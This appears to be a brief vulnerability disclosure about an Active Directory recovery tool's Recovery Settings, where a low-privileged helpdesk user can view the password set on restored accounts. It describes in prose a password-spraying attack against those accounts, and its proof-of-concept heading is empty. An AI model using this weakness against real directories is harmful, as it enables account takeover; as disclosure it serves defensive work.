The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover. When deleted user accounts are restored, defined password is set to the user accounts.
The helpdesk technician user that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment
# Proof of Concept
